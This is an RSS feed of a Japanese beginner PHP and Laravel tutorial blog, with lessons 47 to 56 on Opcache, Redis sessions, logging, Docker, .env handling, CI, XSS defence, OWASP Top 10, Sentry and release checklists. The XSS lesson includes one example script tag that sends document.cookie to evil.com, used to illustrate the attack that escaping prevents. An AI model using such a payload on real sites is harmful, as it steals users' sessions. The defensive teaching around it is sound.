応用編 - 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ https://phpl4b.com Wed, 18 Feb 2026 00:24:00 +0000 ja hourly 1 https://wordpress.org/?v=6.9.4 https://phpl4b.com/wp-content/uploads/2026/04/cropped-スクリーンショット-2026-04-16-22.09.40-32x32.png 応用編 - 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ https://phpl4b.com 32 32 第56回: 本番リリースチェックリスト — 「確認漏れゼロ」でリリースを安全に完了させる https://phpl4b.com/354/?utm_source=rss&utm_medium=rss&utm_campaign=56_%25e6%259c%25ac%25e7%2595%25aa%25e3%2583%25aa%25e3%2583%25aa%25e3%2583%25bc%25e3%2582%25b9%25e3%2583%2581%25e3%2582%25a7%25e3%2583%2583%25e3%2582%25af%25e3%2583%25aa%25e3%2582%25b9%25e3%2583%2588 Wed, 18 Feb 2026 00:00:00 +0000 https://phpl4b.com/354/ 本番リリースは確認項目が多く、手順書なしでは抜け漏れが起きやすい場面です。チェックリストを持つことで、セキュリティ・パフォーマンス・品質の確認を漏れなく実施でき、見落としによる事故を防げます。

The post 第56回: 本番リリースチェックリスト — 「確認漏れゼロ」でリリースを安全に完了させる first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第56回: 本番リリースチェックリスト — 「確認漏れゼロ」でリリースを安全に完了させる

章: 第6章: パフォーマンスとインフラ

リリース直前に「あれ、確認したっけ？」と焦ることはありませんか？

本番リリースは確認項目が多く、手順書なしでは抜け漏れが起きやすい場面です。チェックリストを持つことで、セキュリティ・パフォーマンス・品質の確認を漏れなく実施でき、見落としによる事故を防げます。

チェックリストなしでリリースを続けると何が起きるか

APP_DEBUG=true のまま本番にデプロイしてエラー情報が外部に漏れる・Opcacheを有効にし忘れてパフォーマンスが出ない——こうしたミスは毎回起きます。チェックリストを標準化することで、属人的なリリース作業を安全な手順書に変えられます。

リリース前確認の優先度分類

カテゴリ 確認項目 理由
セキュリティ APP_DEBUG=false / HTTPS / パスワードハッシュ 情報漏洩リスクを防ぐ
パフォーマンス config:cache / route:cache / Opcache有効化 不必要なCPU使用を削減
品質 全テストパス / PHPStanエラー0 リグレッションを防ぐ
運用 DBバックアップ / エラー監視 / ログローテーション 障害時の復旧を速める

チェックポイント: チェックリストはPR（プルリクエスト）のテンプレートに組み込んで、リリース前に必ず確認する文化を作りましょう。また php artisan config:cache / route:cache / view:cache は本番では必ず実行し、開発環境では php artisan cache:clear で適宜クリアします。

コードサンプル


# 本番リリース前チェックリスト

## セキュリティ
# - [ ] APP_DEBUG=false
# - [ ] .envが公開ディレクトリ外にある
# - [ ] HTTPS対応済み
# - [ ] パスワードがハッシュ化されている

## パフォーマンス
# - [ ] php artisan config:cache
# - [ ] php artisan route:cache
# - [ ] php artisan view:cache
# - [ ] Opcache有効化

## 品質
# - [ ] 全テストがパス
# - [ ] PHPStanがエラー0
# - [ ] エラー監視ツール設定済み

## 運用
# - [ ] DBバックアップの仕組みがある
# - [ ] ログローテーション設定済み

まとめ & 次のステップ

  • リリース前チェックリストで確認漏れをなくし、事故リスクを大幅に下げられます
  • セキュリティ・パフォーマンス・品質・運用の4カテゴリを必ずカバーしましょう
  • チェックリストをPRテンプレートに組み込み、毎回確認する仕組みにしましょう
  • config:cache / route:cache / view:cache を本番デプロイ手順に必ず含めましょう
  • リリース後はエラー監視ツールで異常がないか30分以上モニタリングする習慣をつけましょう

お疲れ様でした。第6章「パフォーマンスとインフラ」、そしてPHP上級編のすべての章を学び終えました。実際のプロジェクトでこれらの知識を1つずつ実践していきましょう。

The post 第56回: 本番リリースチェックリスト — 「確認漏れゼロ」でリリースを安全に完了させる first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第55回: エラー監視（Sentry入門） — 本番のエラーを「即座に検知」して障害を最小化する https://phpl4b.com/352/?utm_source=rss&utm_medium=rss&utm_campaign=55_%25e3%2582%25a8%25e3%2583%25a9%25e3%2583%25bc%25e7%259b%25a3%25e8%25a6%2596sentry%25e5%2585%25a5%25e9%2596%2580 Tue, 17 Feb 2026 00:00:00 +0000 https://phpl4b.com/352/ エラーの検知が遅れるほど影響を受けるユーザー数が増え、信頼を失います。Sentryを使えば、エラーをリアルタイムに収集・分類・通知でき、障害の影響範囲を最小限に抑えられます。

The post 第55回: エラー監視（Sentry入門） — 本番のエラーを「即座に検知」して障害を最小化する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第55回: エラー監視（Sentry入門） — 本番のエラーを「即座に検知」して障害を最小化する

章: 第6章: パフォーマンスとインフラ

本番でエラーが発生してもユーザーからの報告で初めて気づいていませんか？

エラーの検知が遅れるほど影響を受けるユーザー数が増え、信頼を失います。Sentryを使えば、エラーをリアルタイムに収集・分類・通知でき、障害の影響範囲を最小限に抑えられます。

エラー監視ツールなしで運用を続けると何が起きるか

ログファイルを手動で確認しなければエラーに気づけず、発生から検知まで数時間かかることがあります。Sentryは例外発生と同時にSlackやメールに通知するため、即座に対応できます。

エラー監視の方法比較

方法 検知速度 詳細情報 設定コスト
ログファイル確認 遅い（手動） あり 低い
メール通知（自前） 中程度 限定的 中程度
Sentry 即時 豊富（スタックトレース・コンテキスト） 低い
Datadog / New Relic 即時 非常に豊富 高い

チェックポイント: Sentryを導入したら意図的にエラーを発生させて、通知が届くことを確認しましょう。また、\Sentry\configureScope() でユーザーIDやリクエストIDをコンテキストとして付与すると、エラー発生時にどのユーザーが影響を受けたか即座に特定できます。

コードサンプル


# インストール
composer require sentry/sentry-laravel

# .env
# SENTRY_LARAVEL_DSN=https://xxxxx@oNNNNN.ingest.sentry.io/NNNNNN

<?php
// 手動でエラー送信
\Sentry\captureException($exception);
\Sentry\captureMessage('想定外の状態が発生しました');

まとめ & 次のステップ

  • Sentryでエラーをリアルタイム収集・通知して、障害の影響を最小化できます
  • SENTRY_LARAVEL_DSN を設定するだけでLaravelと自動統合されます
  • ユーザーIDやリクエストIDをコンテキストに付与して、エラーの影響範囲を特定しやすくしましょう
  • アラート通知はSlackに連携し、チームで即座に気づける仕組みにしましょう
  • 本番デプロイ後は必ずSentryの通知テストを行い、機能していることを確認しましょう

次回は 本番リリースチェックリスト を学びます。リリース前の確認漏れを防ぐための体系的なチェックリストを整理しましょう。

The post 第55回: エラー監視（Sentry入門） — 本番のエラーを「即座に検知」して障害を最小化する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第54回: OWASP Top 10 詳解 — セキュリティの「共通言語」で設計段階から脆弱性をふさぐ https://phpl4b.com/350/?utm_source=rss&utm_medium=rss&utm_campaign=54_owasp-top-10-%25e8%25a9%25b3%25e8%25a7%25a3 Mon, 16 Feb 2026 00:00:00 +0000 https://phpl4b.com/350/ 場当たり的なセキュリティ対策では、重要な脅威を見落とすリスクがあります。OWASP Top 10はWebアプリの代表的な脆弱性をリスト化したもので、これを基準に設計段階からセキュリティを組み込めます。

The post 第54回: OWASP Top 10 詳解 — セキュリティの「共通言語」で設計段階から脆弱性をふさぐ first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第54回: OWASP Top 10 詳解 — セキュリティの「共通言語」で設計段階から脆弱性をふさぐ

章: 第6章: パフォーマンスとインフラ

セキュリティ対策を「思いついたものから対処」していませんか？

場当たり的なセキュリティ対策では、重要な脅威を見落とすリスクがあります。OWASP Top 10はWebアプリの代表的な脆弱性をリスト化したもので、これを基準に設計段階からセキュリティを組み込めます。

OWASP Top 10を知らないと何が起きるか

SQLインジェクションを防いだのに、アクセス制御の不備で別のエンドポイントから全データが取得できてしまう——1つの対策だけでは不十分です。Top 10を網羅的に理解することで、見落としのない防御設計ができます。

OWASP Top 10（2021）と主なPHP対策

脆弱性 概要 PHP/Laravel での主な対策
A01: アクセス制御の不備 認可チェックの漏れ ポリシー・ミドルウェアで認可を徹底
A02: 暗号化の失敗 平文での機密情報保存・通信 password_hash() / HTTPS強制
A03: インジェクション SQLi・XSSなど プリペアドステートメント・エスケープ
A05: セキュリティ設定ミス デフォルト設定のまま APP_DEBUG=false / .env非公開
A07: 認証の失敗 弱いパスワード・セッション固定 セッション再生成・ログイン試行制限
A09: ログ・監視の不備 エラーに気づかない Sentry / ログ収集・通知

チェックポイント: OWASP Top 10はリリース前のセキュリティレビューチェックリストとして活用しましょう。各項目に対して「このアプリでの対策は何か」を1行でまとめておくと、レビュー漏れを防げます。特にA01（アクセス制御）とA03（インジェクション）は実装ミスが多いため優先的に確認してください。

コードサンプル


# OWASP Top 10（2021）と主なPHP対策

# A01: アクセス制御の不備
#   -> 認可ミドルウェアの徹底

# A02: 暗号化の失敗
#   -> password_hash() / HTTPS強制

# A03: インジェクション（SQLi, XSS）
#   -> プリペアドステートメント / htmlspecialchars

# A05: セキュリティの設定ミス
#   -> .envの非公開 / APP_DEBUG=false

# A07: 認証の失敗
#   -> セッション固定化対策 / ログイン試行制限

# A09: ログ・監視の不備
#   -> エラーログの収集と通知

まとめ & 次のステップ

  • OWASP Top 10を設計段階のチェックリストとして活用しましょう
  • A01（アクセス制御）とA03（インジェクション）は特に優先度が高いです
  • リリース前に各項目の対策状況を1行でまとめてレビューしましょう
  • Laravelのビルトイン機能（CSRF保護・クエリビルダ）を積極的に使いましょう
  • セキュリティは1度対策して終わりではなく、継続的なレビューが必要です

次回は エラー監視（Sentry入門） を学びます。本番のエラーをリアルタイムに検知する仕組みを整理しましょう。

The post 第54回: OWASP Top 10 詳解 — セキュリティの「共通言語」で設計段階から脆弱性をふさぐ first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第53回: XSS対策実践 — 出力時のエスケープを「習慣」にしてスクリプト攻撃を防ぐ https://phpl4b.com/348/?utm_source=rss&utm_medium=rss&utm_campaign=53_xss%25e5%25af%25be%25e7%25ad%2596%25e5%25ae%259f%25e8%25b7%25b5 Sun, 15 Feb 2026 00:00:00 +0000 https://phpl4b.com/348/ XSS（クロスサイトスクリプティング）は、ページに悪意あるスクリプトを埋め込む攻撃で、ユーザーのCookieやセッション情報を盗まれるリスクがあります。出力時のエスケープを徹底することで根本的に防御できます。

The post 第53回: XSS対策実践 — 出力時のエスケープを「習慣」にしてスクリプト攻撃を防ぐ first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第53回: XSS対策実践 — 出力時のエスケープを「習慣」にしてスクリプト攻撃を防ぐ

章: 第6章: パフォーマンスとインフラ

ユーザーの入力をそのまま画面に出力していませんか？

XSS（クロスサイトスクリプティング）は、ページに悪意あるスクリプトを埋め込む攻撃で、ユーザーのCookieやセッション情報を盗まれるリスクがあります。出力時のエスケープを徹底することで根本的に防御できます。

エスケープを怠ると何が起きるか

<script>document.location='https://evil.com?c='+document.cookie</script> のような文字列がデータベースに保存され、ページに表示されると、閲覧者全員のセッションが窃取されます。これは修正が難しく、ユーザー信頼を大きく損なうインシデントです。

XSS対策の方法比較

対策 方法 効果
出力エスケープ htmlspecialchars() / Blade {{ }} HTMLタグを無効化
Content-Security-Policy HTTPヘッダーで許可するスクリプトを制限 埋め込みスクリプトの実行をブロック
HTTPOnly Cookie HttpOnly フラグをCookieに付与 JSからCookieを読めなくする
入力サニタイズ 不正な文字を除去 補助的対策（出力エスケープと併用）

チェックポイント: htmlspecialchars() を使う際は必ず ENT_QUOTES と文字コード UTF-8 を指定しましょう。Bladeの {{ }} はデフォルトでエスケープ済みなので安全ですが、{!! !!} を使う箇所は「信頼できるHTMLのみ」という前提を守っているか定期的にレビューしてください。

コードサンプル


<?php
// NG: ユーザー入力をそのまま出力すると危険
// echo $_GET['name'];

// OK: htmlspecialcharsでエスケープ
$name = htmlspecialchars($_GET['name'] ?? '', ENT_QUOTES, 'UTF-8');
echo $name;

// Bladeはデフォルトでエスケープ済み
// {{ $user->name }}   安全
// {!! $html !!}       未エスケープ（信頼できるHTMLのみ）

// Content-Security-Policyヘッダも有効
header("Content-Security-Policy: default-src 'self'");

まとめ & 次のステップ

  • XSSは出力時のエスケープで根本的に防御できます
  • Bladeの {{ }} を使えば自動エスケープされるため、積極的に活用しましょう
  • {!! !!} を使う箇所は必ずレビューし、ユーザー入力を渡さないことを確認しましょう
  • Content-Security-Policy ヘッダーで埋め込みスクリプトの実行を制限しましょう
  • HttpOnly フラグをセッションCookieに設定し、JSからのアクセスを防ぎましょう

次回は OWASP Top 10 詳解 を学びます。Webアプリの代表的な脆弱性と対策を体系的に整理しましょう。

The post 第53回: XSS対策実践 — 出力時のエスケープを「習慣」にしてスクリプト攻撃を防ぐ first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第52回: CI/CD入門（GitHub Actions） — コードの変更を「自動で検証」してデプロイを安全にする https://phpl4b.com/346/?utm_source=rss&utm_medium=rss&utm_campaign=52_ci-cd%25e5%2585%25a5%25e9%2596%2580github-actions Sat, 14 Feb 2026 00:00:00 +0000 https://phpl4b.com/346/ テストの実行忘れ・PHPStanのチェック漏れ——手作業での確認は必ずミスが生まれます。GitHub Actionsを使えば、コードのpushや Pull Requestをトリガーにテスト・解析を自動実行できます。

The post 第52回: CI/CD入門（GitHub Actions） — コードの変更を「自動で検証」してデプロイを安全にする first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第52回: CI/CD入門（GitHub Actions） — コードの変更を「自動で検証」してデプロイを安全にする

章: 第6章: パフォーマンスとインフラ

プルリクエストのたびに手動でテストを実行していませんか？

テストの実行忘れ・PHPStanのチェック漏れ——手作業での確認は必ずミスが生まれます。GitHub Actionsを使えば、コードのpushや Pull Requestをトリガーにテスト・解析を自動実行できます。

CI/CDなしで運用を続けると何が起きるか

人手によるデプロイは手順書の追い忘れ・環境の不一致・ロールバック失敗のリスクが伴います。自動化されたパイプラインで「マージ前に必ず検証が通る」状態を作ることで、ミスと工数を同時に削減できます。

CI/CDの導入効果の比較

観点 手動運用 GitHub Actions導入
テスト実行 忘れることがある Push/PRで自動実行
コードレビュー 静的解析は任意 PHPStanが自動でブロック
デプロイ 手順書を見ながら手動 mainブランチへのマージで自動デプロイ
環境差異 ローカルと本番が違うことがある CIの実行環境で再現性を担保

チェックポイント: GitHub Actionsのワークフローファイルは .github/workflows/ に配置します。シークレット（APIキー・DBパスワード）はリポジトリの「Settings > Secrets」に登録し、${{ secrets.SECRET_NAME }} で参照しましょう。ワークフローファイルには機密情報を直書きしないでください。

コードサンプル


# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: shivammathur/setup-php@v2
        with:
          php-version: '8.3'
      - run: composer install --no-progress
      - run: cp .env.example .env && php artisan key:generate
      - run: php artisan test
      - run: ./vendor/bin/phpstan analyse --level=5 src

まとめ & 次のステップ

  • GitHub Actionsでテスト・静的解析を自動化し、マージ前に品質を保証できます
  • ワークフローファイルをバージョン管理に含め、チームで共有しましょう
  • シークレットはリポジトリのSecretsに登録し、ワークフロー内で参照しましょう
  • CIが通らない限りマージできないブランチ保護ルールを設定することを推奨します
  • デプロイの自動化（CD）はCIが安定してから段階的に導入しましょう

次回は XSS対策実践 を学びます。悪意あるスクリプトを埋め込まれないための出力エスケープを整理しましょう。

The post 第52回: CI/CD入門（GitHub Actions） — コードの変更を「自動で検証」してデプロイを安全にする first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第51回: .envによる環境変数管理 — 設定値を「コードの外」に出してセキュアに管理する https://phpl4b.com/344/?utm_source=rss&utm_medium=rss&utm_campaign=51_env%25e3%2581%25ab%25e3%2582%2588%25e3%2582%258b%25e7%2592%25b0%25e5%25a2%2583%25e5%25a4%2589%25e6%2595%25b0%25e7%25ae%25a1%25e7%2590%2586 Fri, 13 Feb 2026 00:00:00 +0000 https://phpl4b.com/344/ ハードコードされた認証情報がGitにコミットされると、リポジトリが公開された瞬間に漏洩します。.envファイルを使って設定値をコードから切り離すことで、環境ごとに異なる値を安全に管理できます。

The post 第51回: .envによる環境変数管理 — 設定値を「コードの外」に出してセキュアに管理する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第51回: .envによる環境変数管理 — 設定値を「コードの外」に出してセキュアに管理する

章: 第6章: パフォーマンスとインフラ

DBのパスワードやAPIキーをソースコードに直書きしていませんか？

ハードコードされた認証情報がGitにコミットされると、リポジトリが公開された瞬間に漏洩します。.envファイルを使って設定値をコードから切り離すことで、環境ごとに異なる値を安全に管理できます。

設定値をコードに埋め込むと何が起きるか

本番用DBパスワードが開発用リポジトリに含まれていたことで情報漏洩——実際に起きているインシデントです。.env をGitignoreに追加し、.env.example でテンプレートだけ管理するのが標準的なアプローチです。

環境変数管理の比較

方法 セキュリティ チーム共有 環境別管理
ソースコードに直書き 危険（Git漏洩リスク） 不要 困難
.env（.gitignore） 安全 .env.example で共有 環境ごとに別ファイル
シークレット管理サービス（AWS SSM等） 最高 アクセス制御で管理 環境別に厳密管理
Dockerのenv_file 安全 Compose設定で管理 Compose環境別

チェックポイント: .env は必ず .gitignore に追加されているか確認しましょう。また .env.example にはキー名と説明のみを記載し、実際の値は含めないようにします。本番環境では .env より環境変数やシークレット管理サービスの利用を推奨します。

コードサンプル


# .env（.gitignoreに必ず追加）
# APP_ENV=local
# APP_KEY=base64:xxxxx
# DB_HOST=127.0.0.1
# DB_DATABASE=myapp
# DB_USERNAME=root
# DB_PASSWORD=secret
# STRIPE_SECRET=sk_test_xxxx

# .env.example（チームに共有するテンプレート）
# DB_PASSWORD=

<?php
// PHPから読む
$host = $_ENV['DB_HOST'] ?? '127.0.0.1';

まとめ & 次のステップ

  • .env で設定値をコードから切り離し、環境ごとに安全に管理できます
  • .env は必ず .gitignore に追加し、Gitにコミットしないようにしましょう
  • .env.example でキー名のみをバージョン管理し、チームで共有しましょう
  • 本番環境ではAWS SSM / GCP Secret Managerなどのシークレット管理サービスを検討してください
  • Laravelでは config() ヘルパーを介して環境変数を読み込み、直接 $_ENV を使わないようにしましょう

次回は CI/CD入門（GitHub Actions） を学びます。コードの変更を自動でテスト・検証する仕組みを整理しましょう。

The post 第51回: .envによる環境変数管理 — 設定値を「コードの外」に出してセキュアに管理する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第50回: Dockerでのローカル環境構築 — 「自分の環境でだけ動く」問題を根絶する https://phpl4b.com/342/?utm_source=rss&utm_medium=rss&utm_campaign=50_docker%25e3%2581%25a7%25e3%2581%25ae%25e3%2583%25ad%25e3%2583%25bc%25e3%2582%25ab%25e3%2583%25ab%25e7%2592%25b0%25e5%25a2%2583%25e6%25a7%258b%25e7%25af%2589 Thu, 12 Feb 2026 00:00:00 +0000 https://phpl4b.com/342/ PHPのバージョン違い・MySQLの設定差・拡張モジュールの有無——こうした環境差異がバグの温床になります。Dockerを使えば、コンテナで環境を定義することで、チームや本番との差異をなくせます。

The post 第50回: Dockerでのローカル環境構築 — 「自分の環境でだけ動く」問題を根絶する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第50回: Dockerでのローカル環境構築 — 「自分の環境でだけ動く」問題を根絶する

章: 第6章: パフォーマンスとインフラ

「自分のMacでは動くのに、別のメンバーの環境では動かない」で時間を消耗していませんか？

PHPのバージョン違い・MySQLの設定差・拡張モジュールの有無——こうした環境差異がバグの温床になります。Dockerを使えば、コンテナで環境を定義することで、チームや本番との差異をなくせます。

Dockerなしで開発環境を共有すると何が起きるか

「自分の環境では再現しない」バグに時間を使い、新メンバーの環境構築に何時間もかかります。docker compose up -d 1コマンドで全員が同じ環境を起動できるようになれば、この問題は根本解決できます。

環境構築方法の比較

方法 環境の一致 構築時間 柔軟性 推奨場面
各自の手動インストール バラつきあり 長い 高い 個人開発・小規模
Vagrant ほぼ一致 長い 中程度 VMで分離したい場合
Docker Compose 完全一致 短い 高い チーム開発・本番との一致
Laravel Sail 完全一致（Laravel専用） 短い 中程度 Laravelプロジェクト

チェックポイント: docker-compose.yml をバージョン管理に含め、チームで共有しましょう。.env ファイルとのセットで管理することで、環境変数の差異もなくせます。また volumes でソースコードをマウントすれば、コンテナ再起動なしにコード変更が反映されます。

コードサンプル


# docker-compose.yml（Laravelの基本構成）
services:
  app:
    build: .
    ports: ["8080:80"]
    volumes: [".:/var/www/html"]
    depends_on: [db]
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: app
      MYSQL_ROOT_PASSWORD: secret
    volumes: ["db_data:/var/lib/mysql"]
  redis:
    image: redis:7-alpine
volumes:
  db_data:
# 起動: docker compose up -d

まとめ & 次のステップ

  • Dockerで環境を定義することで、チーム全員が同じ環境で開発できます
  • docker-compose.yml はバージョン管理に含め、README に起動手順を記載しましょう
  • volumes でソースコードをマウントし、ホットリロードを実現しましょう
  • 本番環境のDockerfileと開発用を分けてセキュリティと利便性を両立させましょう
  • depends_on でサービス起動順を制御し、DB準備前のアプリ起動を防ぎましょう

次回は .envによる環境変数管理 を学びます。設定値をコードから切り離して安全に管理する方法を整理しましょう。

The post 第50回: Dockerでのローカル環境構築 — 「自分の環境でだけ動く」問題を根絶する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第49回: ログ設計（Monolog） — 障害を「すぐ気づいて・すぐ追える」ログを作る https://phpl4b.com/340/?utm_source=rss&utm_medium=rss&utm_campaign=49_%25e3%2583%25ad%25e3%2582%25b0%25e8%25a8%25ad%25e8%25a8%2588monolog Wed, 11 Feb 2026 00:00:00 +0000 https://phpl4b.com/340/ ログが不足していると、エラーの再現手順が分からず原因特定に時間がかかります。Monologを使えば、ログの出力先・フォーマット・レベルを柔軟に制御でき、障害時の対応速度を大幅に上げられます。

The post 第49回: ログ設計（Monolog） — 障害を「すぐ気づいて・すぐ追える」ログを作る first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第49回: ログ設計（Monolog） — 障害を「すぐ気づいて・すぐ追える」ログを作る

章: 第6章: パフォーマンスとインフラ

本番でエラーが起きたとき、原因を特定するのに何時間もかかっていませんか？

ログが不足していると、エラーの再現手順が分からず原因特定に時間がかかります。Monologを使えば、ログの出力先・フォーマット・レベルを柔軟に制御でき、障害時の対応速度を大幅に上げられます。

ログ設計が不十分だと何が起きるか

error_log() を散発的に書いただけのログでは、いつ・どこで・何が起きたかが追えません。適切なログレベルとコンテキスト情報をセットで記録することで、原因調査が「ログを読む」だけで完結するようになります。

ログレベルの使い分け

レベル 意味 使う場面
DEBUG 詳細なデバッグ情報 開発環境の動作確認
INFO 正常な操作の記録 ユーザーログイン・処理完了
WARNING 異常ではないが注意が必要 非推奨APIの使用・リトライ発生
ERROR エラーが発生したが処理継続 決済失敗・外部API障害
CRITICAL 緊急対応が必要 DBダウン・認証システム障害

チェックポイント: ログにはリクエストIDやユーザーIDをコンテキストとして含めましょう。「どのリクエストで・誰が・何をした結果エラーが起きたか」がログだけで追えるようになります。個人情報（パスワード・クレジットカード番号）は絶対にログに含めてはいけません。

コードサンプル


<?php
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\SlackWebhookHandler;

$log = new Logger('app');
$log->pushHandler(new StreamHandler('app.log', Logger::DEBUG));
$log->pushHandler(new SlackWebhookHandler('https://hooks.slack.com/...', Logger::ERROR));

$log->info('ユーザーがログインしました', ['user_id' => 42]);
$log->error('決済処理に失敗しました', ['order_id' => 99]);

まとめ & 次のステップ

  • Monologで出力先・レベル・フォーマットを柔軟に設定できます
  • ログにはリクエストIDとコンテキスト情報を必ず含めましょう
  • ERRORレベル以上はSlack通知など即時アラートを設定することを推奨します
  • 個人情報・パスワードはログに出力しないよう、ログ出力箇所をレビューしましょう
  • Laravelでは config/logging.php で複数チャンネルを設定できます

次回は Dockerでのローカル環境構築 を学びます。チームで環境差異のない開発環境を作る方法を整理しましょう。

The post 第49回: ログ設計（Monolog） — 障害を「すぐ気づいて・すぐ追える」ログを作る first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第48回: Redisを使ったセッション管理 — セッションを「インメモリDB」で高速・安定化する https://phpl4b.com/338/?utm_source=rss&utm_medium=rss&utm_campaign=48_redis%25e3%2582%2592%25e4%25bd%25bf%25e3%2581%25a3%25e3%2581%259f%25e3%2582%25bb%25e3%2583%2583%25e3%2582%25b7%25e3%2583%25a7%25e3%2583%25b3%25e7%25ae%25a1%25e7%2590%2586 Tue, 10 Feb 2026 00:00:00 +0000 https://phpl4b.com/338/ ファイルベースのセッションは1台構成では動きますが、ロードバランサーで複数サーバーに分散すると「セッションが消える」問題が発生します。Redisをセッションストアに使うことで、高速で信頼性の高いセッション管理が実現できます。

The post 第48回: Redisを使ったセッション管理 — セッションを「インメモリDB」で高速・安定化する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第48回: Redisを使ったセッション管理 — セッションを「インメモリDB」で高速・安定化する

章: 第6章: パフォーマンスとインフラ

セッションをファイルに保存していて、複数サーバーに分散したときに困っていませんか？

ファイルベースのセッションは1台構成では動きますが、ロードバランサーで複数サーバーに分散すると「セッションが消える」問題が発生します。Redisをセッションストアに使うことで、高速で信頼性の高いセッション管理が実現できます。

ファイルベースセッションの問題点

サーバーAで作成したセッションはサーバーAのファイルに保存されるため、次のリクエストがサーバーBに届くとセッションが見つからずログアウトされます。Redisを共有セッションストアにすれば、どのサーバーからでも同じセッションを参照できます。

セッションストアの比較

ストア 速度 分散対応 永続化 向いている場面
ファイル 遅い 非対応 あり シングルサーバー・開発環境
DB（MySQL） 中程度 対応 あり 永続化が必要・Redisなし
Redis 高速 対応 任意 本番・マルチサーバー構成
Memcached 高速 対応 なし 揮発性でよい場合

チェックポイント: Redisをセッションストアに切り替える前に、SESSION_DRIVER=redis と REDIS_HOST が正しく設定されているか確認しましょう。Laravelでは predis/predis または PhpRedis拡張が必要です。切り替え後は既存セッションが無効化されるため、ユーザーの再ログインが発生することを考慮してください。

コードサンプル


# .env 設定
# SESSION_DRIVER=redis
# REDIS_HOST=127.0.0.1
# REDIS_PORT=6379
# CACHE_STORE=redis

<?php
// Laravelでのキャッシュ操作
Cache::put('user:1', $user, now()->addMinutes(30));
$user = Cache::get('user:1');
Cache::forget('user:1');

まとめ & 次のステップ

  • Redisをセッションストアにすることで、マルチサーバー環境でもセッションを安定共有できます
  • SESSION_DRIVER=redis に変更するだけでLaravelは自動的にRedisを使います
  • セッションの有効期限（SESSION_LIFETIME）はセキュリティ要件に合わせて設定しましょう
  • Redisはキャッシュとセッションを兼用できますが、キー名のプレフィックスで用途を分けましょう
  • Redis自体の可用性も設計に含め、フォールバック戦略を検討してください

次回は ログ設計（Monolog） を学びます。障害時の原因特定を速めるためのログ設計を整理しましょう。

The post 第48回: Redisを使ったセッション管理 — セッションを「インメモリDB」で高速・安定化する first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第47回: Opcacheとキャッシュ戦略 — PHPの実行速度を「メモリキャッシュ」で底上げする https://phpl4b.com/336/?utm_source=rss&utm_medium=rss&utm_campaign=47_opcache%25e3%2581%25a8%25e3%2582%25ad%25e3%2583%25a3%25e3%2583%2583%25e3%2582%25b7%25e3%2583%25a5%25e6%2588%25a6%25e7%2595%25a5 Mon, 09 Feb 2026 00:00:00 +0000 https://phpl4b.com/336/ PHPはデフォルトでリクエストごとにスクリプトを解析・コンパイルします。Opcacheを使えば、コンパイル済みのスクリプトをメモリにキャッシュして再利用でき、実行速度を大幅に改善できます。

The post 第47回: Opcacheとキャッシュ戦略 — PHPの実行速度を「メモリキャッシュ」で底上げする first appeared on 未経験から実務レベルへ｜PHP初心者向け実践学習ブログ.

]]> 第47回: Opcacheとキャッシュ戦略 — PHPの実行速度を「メモリキャッシュ」で底上げする

章: 第6章: パフォーマンスとインフラ

リクエストのたびに同じPHPファイルを再解析して、速度が出ていませんか？

PHPはデフォルトでリクエストごとにスクリプトを解析・コンパイルします。Opcacheを使えば、コンパイル済みのスクリプトをメモリにキャッシュして再利用でき、実行速度を大幅に改善できます。

Opcacheなしで本番運用を続けると何が起きるか

リクエストのたびにCPUがファイル解析を繰り返し、高トラフィック時にボトルネックになります。Opcacheを有効にするだけで、多くのケースでレスポンスタイムが2〜5倍改善されます。

キャッシュ戦略の比較

キャッシュ種別 対象 効果
Opcache PHPバイトコード 解析コスト削減・実行速度向上
アプリケーションキャッシュ DBクエリ結果・計算結果 DB負荷削減・応答速度向上
HTTPキャッシュ レスポンス全体 サーバー処理をスキップ
CDN 静的ファイル エッジサーバーから配信

チェックポイント: 本番環境では opcache.validate_timestamps=0 を設定してファイル変更チェックを無効化しましょう。デプロイ後は opcache_reset() または Webサーバー再起動でキャッシュをクリアしてください。設定変更後は opcache_get_status() で適用状態を確認します。

コードサンプル


# php.ini の設定
# [opcache]
# opcache.enable=1
# opcache.memory_consumption=128
# opcache.max_accelerated_files=10000
# opcache.revalidate_freq=60
# opcache.validate_timestamps=0  ; 本番は0で固定

<?php
// 現在の状態確認
$status = opcache_get_status();
echo '使用メモリ: ' . $status['memory_usage']['used_memory'] . ' bytes';

まとめ & 次のステップ

  • Opcacheを有効にするだけで、PHP実行速度を大幅に改善できます
  • 本番では validate_timestamps=0 でファイル変更チェックをオフにしましょう
  • デプロイ後は必ずキャッシュクリアを忘れずに行いましょう
  • アプリレベルのキャッシュ（Redis）と組み合わせることでさらなる速度向上が図れます
  • opcache_get_status() で現在のキャッシュ状態を監視する習慣をつけましょう

次回は Redisを使ったセッション管理 を学びます。高速で信頼性の高いセッション管理の実現方法を整理しましょう。

